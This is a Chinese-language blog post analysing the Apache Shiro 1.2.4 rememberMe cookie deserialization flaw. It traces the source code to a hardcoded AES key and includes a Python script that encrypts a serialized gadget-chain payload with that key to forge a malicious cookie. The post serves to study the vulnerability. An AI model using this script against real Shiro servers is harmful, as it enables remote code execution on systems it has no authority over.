Java安全 - Shiro反序列化原理分析

Java安全 - Shiro反序列化原理分析

Shiro

Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

原理

我们从攻击的逆推来看看这个shiro​的代码

通过工具代理到bp当中查看报文

这是执行了whoami的包

image

基本上跟说的序列化的值在cookie里头一致,这个时候全局去搜索一下rememberMe这个字段

可以找到CookieRememberMeManager方法

image

我们需要知道shiro是如何获取cookie的,通过上下文的跟踪看到了getCookie方法

image

查找调用getCookie发现存在getRememberedSerializedIdentity方法

image

跟进getRememberedSerializedIdentity方法 看他对我们传入的cookie做了什么-> 先进行获取base64的cookie值

image

然后进行了base64解密

image

再往上跟找到getRememberedPrincipals​方法

将我们base64解密的值传入了bytes​数组中

image

那么现在我们知道我们传入的cookie值会被base64解密,解密出来的值会去干嘛呢?

发现他走了shiro-shiro-root-1.2.4\core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager#convertBytesToPrincipals()​这个方法,跟进

image就是对我们base64解密出来的字节再一次解密,解密后调用deserialize​来进行反序列化

那么我们在shiro-web.jar下进行cookie利用的断点调试最后也是走到了这个原生的反序列化里头

找到src/main/java/org/apache/shiro/io/DefaultSerializer#deserialize()#readobject()

1
2
3
4
5
6
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
return deserialized;
}

image

那么我们再来看这个对字节做了什么解密

image

他其实是个接口,但是参数名是加密值+密钥 ,那么这个密钥怎么获得的呢,跟进getDecryptionCipherKey()​方法

image

发现是个常量

去找一下这个常量如何赋值

image

发现在这里找到了shiro-shiro-root-1.2.4\core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java

再往上跟看是怎么把这个东西传进来的

在这里找到shiro-shiro-root-1.2.4\core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager#setCipherKey()

image

再往上跟 shiro-shiro-root-1.2.4\core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager#AbstractRememberMeManager

image

image

发现就是一个硬编码,整个Cookie的处理流程就跟完了,那么其实就是将从Cookie获取到的字节来去反序列化来打依赖,看有什么依赖打什么链(有CC就打CC 有CB就打CB)

生成shiro的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext


if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data).decode())

打过去就OK了

image

总结一下就是 传入cookie->base64解密->(知道AES的key下可以恶意构造序列化的值)->打反序列化漏洞

这里有个要注意的点

  • Shiro类是不允许出现数组类,就是里头不能有数组,打CC6的时候tranfromer​有数组调用,所以无法打CC,要打的话就CC2+3+6 就是用In

image


Java安全 - Shiro反序列化原理分析
https://zjackky.github.io/post/java-safety-shiro-revitalization-principles-analysis-1wmw4g.html
作者
Zjacky
发布于
2023年12月14日
许可协议